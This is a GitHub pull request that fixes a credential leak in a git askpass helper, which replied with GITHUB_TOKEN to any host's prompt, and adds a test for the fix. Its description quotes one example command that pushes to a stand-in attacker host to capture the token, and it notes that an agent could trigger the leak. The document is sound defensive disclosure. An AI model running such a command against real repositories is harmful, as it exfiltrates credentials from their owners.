Skip to content

Scope git-askpass credential replies to github.com - #112

Open
jay79-boop wants to merge 1 commit into
chrysb:mainfrom
jay79-boop:fix/git-askpass-host-scope
Open

Scope git-askpass credential replies to github.com#112
jay79-boop wants to merge 1 commit into
chrysb:mainfrom
jay79-boop:fix/git-askpass-host-scope

Conversation

@jay79-boop

Copy link
Copy Markdown

Summary

The GIT_ASKPASS helper installed by AlphaClaw's git shim answered any Basic-Auth username/password prompt with GITHUB_TOKEN, regardless of which host was actually asking. Since the shim auto-enables this askpass for any git command run with a cwd inside the managed OpenClaw repo, an agent (or anything running commands in that repo) doing something like:

git -C $OPENCLAW_REPO_ROOT push https://attacker.example/x main

would leak GITHUB_TOKEN straight to attacker.example's Basic-Auth prompt as the password. No exploit chain needed — just a git command pointed at a different host.

Git's askpass prompt text includes the target host (e.g. Username for 'https://github.com'), so this scopes the reply to only fire when github.com appears in the prompt.

Applied the same fix to all three copies of this pattern found in the codebase:

  • lib/scripts/git-askpass (the installed, system-wide git shim's askpass)
  • lib/cli/openclaw-config-restore.js (boot-time remote-config-restore askpass)
  • bin/alphaclaw.js (the git-sync CLI command's askpass)

Test plan

  • Added a test (tests/server/git-shim.test.js) that runs the askpass script directly and confirms it answers for github.com prompts and returns empty for a non-github host.
  • Ran the full existing git-shim test suite before/after — no regressions (pre-existing unrelated failures on this environment are due to running the suite on Windows, not this change).

The GIT_ASKPASS helper answered any Basic-Auth username/password prompt
with GITHUB_TOKEN, regardless of which host was asking. Since the git
shim auto-enables this askpass for any git command run inside the
managed OpenClaw repo, an agent running e.g.
`git -C $OPENCLAW_REPO_ROOT push https://attacker.example/x` would leak
GITHUB_TOKEN to that host's auth prompt. Git's askpass prompt text
includes the target host ("Username for 'https://github.com'"), so
scope the reply to prompts that mention github.com. Applied to all
three copies of this pattern (the installed git shim's askpass, the
boot-time remote-config-restore askpass, and the git-sync CLI command's
askpass) and added a test proving the shim stays silent for a
non-github host.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant